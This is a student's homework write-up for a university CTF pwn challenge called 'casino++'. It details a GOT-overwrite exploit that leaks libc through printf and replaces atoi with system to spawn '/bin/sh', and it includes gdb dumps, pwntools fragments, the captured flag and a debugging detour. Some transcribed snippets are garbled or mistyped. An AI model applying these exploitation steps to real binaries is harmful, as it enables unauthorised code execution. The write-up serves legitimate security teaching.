

# Computer Security Hw0x07 Writeup

- Realname: 胡安鳳
- ID on course web: alfans0329
- Student ID: R08922024

tags: Computer Security NTU CS CS CTF Writeup

## casino++ (pwn)

Please see `solve.py` for more details of exploitation code corresponding to the step in this writeup(both of step are the same).

### Step 1 ~ 2: Control the flow of casino

**Overwrite the puts function with the starting address of casino** to make it run again such that we may further exploit `read_int` where `idx` can be the only place for overflow.

- Note: Due to the 4bytes(32 bits) length limitation of integer, we can only write 32 bits per-try. Therefore, we need to first lose the game, write the address of `casino` in `puts@got`, and padding the rest 32 bits of zero in front of it.
- As in little-endian, `low{<casino>, 00000000}high` will be load as `0x00000000<casino>`

### Step 3 ~ 4: Change from `srand(seed)` to `printf(libc)`

- Figure out the `libc_offset`

```
$ readelf -s libc-2.23.so | grep 'libc_start'
2203: 00000000000021ab0 446 FUNC GLOBAL DEFAULT 13 __libc_start_main@@GLIBC_2.2.5
```

- `srand` --> `printf` and `seed` --> `libc_offset`, with method similar to above.

```
gef> x/10gx 0x602040
0x602040: 0x000000000000400700

gef> x/w 0x602100
0x602100 <seed>: 0x00601ff0
```

- Note: The payload has to be resolved `printf`, so we should write `0x400700` rather than `0x602030` which is not the proper path for resolving.

- And here we have the ASLR'd address of `libc`.

```
finished sending number and payload for step 3:
[*] Paused (press any to continue)
finished sending number and payload for step 4:
('get ASLR libc_base_addr: ', '0x7f0943e9c000')

37      in printf.c
gef> print $rip
$1 = (void (*)()) 0x7f0943f00f26 <__printf+166>
gef>
```

### Step 5 ~ 6: Change from `atoi(buf)` to `system('/bin/sh')`

- It is harder to make `srand(seed)` to `system('/bin/sh')` since the int array of guess can only write 4 bytes at once, but in amd-64 we need 8 bytes at once, which is harder than making `atoi(buf)` to `system('/bin/sh')`.
- Also, the `read_int()` function provides more space to write system shell address!

```
int read_int(){
    char buf[0x10];
    __read_chk( 0 , buf , 0xf , 0x10 );
    return atoi( buf );
}
```

- Finally after `atoi (0x602058)` has been overwritten with `system`.

```
('get ASLR libc_base_addr: ', '0x7f0943e9c000')
('ASLR system_addr: ', '0x7f0943eeb440')
finished sending number and payload for step 5:
```

```
0x0000000000000000 in casino ()
gef> x/g 0xf02058
0x602058: 0x00007f0943eeb440
```

• Once `read_int()` has been invoked again, write  `'/bin/sh'` to the buffer, and pwned!

```

$rsp : 0x00007fffc8b8d330 → "/bin/sh\n\n50400Q"
$rbp : 0x00007fffc8b8d350 → 0x00007fffc8b8d380 →
7fffc8b8d3f0 → 0x0000000000400bc0 → <__libc_csu_i
$rsi : 0x00007fffc8b8d330 → "/bin/sh\n\n50400Q"
$rdi : 0x0

atoi@plt (
  $rdi = 0x00007fffc8b8d330 → "/bin/sh\n\n50400Q",
  $rsi = 0x00007fffc8b8d330 → "/bin/sh\n\n50400Q",
  $rdx = 0x000000000000000f
)

```

- And we have the flag.

```

[+] Switching to interactive mode
Chose the number 1: $ cat /home/casino++/flag
FLAG{Y0u_pwned_me_ag4in!_Pwn1ng_n3v3r_d14_!}

```

#### Pitfall bug in the final step

- And I have encountered a strange bug that if <addr of /bin/sh> is passed to atoi(which has been changed to system()), then although pwned but cat flag see nothing.

```

[+] Opening connection to pwn.ctf.cste.org on port 10176: done
Finished sending number and payload for step 1:
Finished sending number and payload for step 2:
Finished sending number and payload for step 3:
Finished sending number and payload for step 4:
('ASLR system_addr', '0x7fcd2288449')
Finished sending number and payload for step 5:
Finished sending number and payload for step 6:
[+] Switching to interactive mode
Chose the number 1: Chose the number 2: Chose the number 3: 5 1e
0x0
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
user
Chose the number 4: 5 cat /home/casino++/flag
Chose the number 5: Change the number? (1=yes 0=no): 5 whoami
casino++
You lose.
Bye-
You Lose.
Bye-
You Lose.
Bye-

```

**PWN but no FLAG**

```

# Step 6: Write the rest of padding zeros in front of the starting address of
elif step == 6:
    cnt_num = 0
    r.send = "Chose the number 0:"
    hijack = lib_base_addr + binsh_offset # => strange bug
    # hijack = "/bin/sh"
    r.sendlineafter(r.out, str(hijack))
    print("finished sending number and payload for step 6d: '5 (step)')
    r.interactive()
    step += 1
144 r.close()
master > solve.py

```

It did start a shell but the content for system seems incorrect @@

```

0x4f440
[+] Starting local process './casino': pid 2120
Finished sending number and payload for step 1:
Finished sending number and payload for step 2:
Finished sending number and payload for step 3:
Finished sending number and payload for step 4:
('ASLR system_addr', '0x7f58015e1440')
Finished sending number and payload for step 5:
('0x7f5801745e0', 'c', '140015958253210')
[+] Paused (press any to continue)
Finished sending number and payload for step 6:
[+] Switching to interactive mode
sh: 2: 140015958253210: not found
Chose the number 1: sh: 1: 140015958253210: not found
Chose the number 2: 5

```

libc\_base + binsh\_offset

```

reads
[10] Id 1, Name: "casino", stopped, reason: SINGLE STEP
trace
[0] 0x7f58015e0f01 → do_system(libc_base_addr + binsh_offset # => strange bug, PWN but no flag)
[1] 0x400010 → read()
[2] 0x4000b6 → castnum()
[3] 0x4000a2 → castnum()
[4] 0x4000a72 → castnum()
[5] 0x4000b5 → main()
0x00007f58015e0f01 56 in ./sysdeps/pc-abi/system.c
0x4

```

Explanation from author, TA yuann:

- Switch back to '/bin/sh' will be fine.

```

[+] Opening connection to pwn.ctf.cste.org on port 10176: done
Finished sending number and payload for step 1:
Finished sending number and payload for step 2:
Finished sending number and payload for step 3:
Finished sending number and payload for step 4:
('ASLR system_addr', '0x7fcd2288449')
Finished sending number and payload for step 5:
Finished sending number and payload for step 6:
[+] Switching to interactive mode
Chose the number 1: 5 cat /home/casino++/flag
140Y0u_pwned_me_ag4in!_Pwn1ng_n3v3r_d14_!}

```

```

136 r.send = "Chose the number 0:"
137 # hijack = lib_base_addr + binsh_offset # => strange bug, PWN but no flag
138 hijack = "/bin/sh" # => pwn and arch flag
139 r.sendlineafter(r.out, str(hijack))
140 print("finished sending number and payload for step 6d: '5 (step)')
141 r.interactive()
142
143 step += 1
144 r.close()
master > solve.py
solve.py: 144, 432c written

```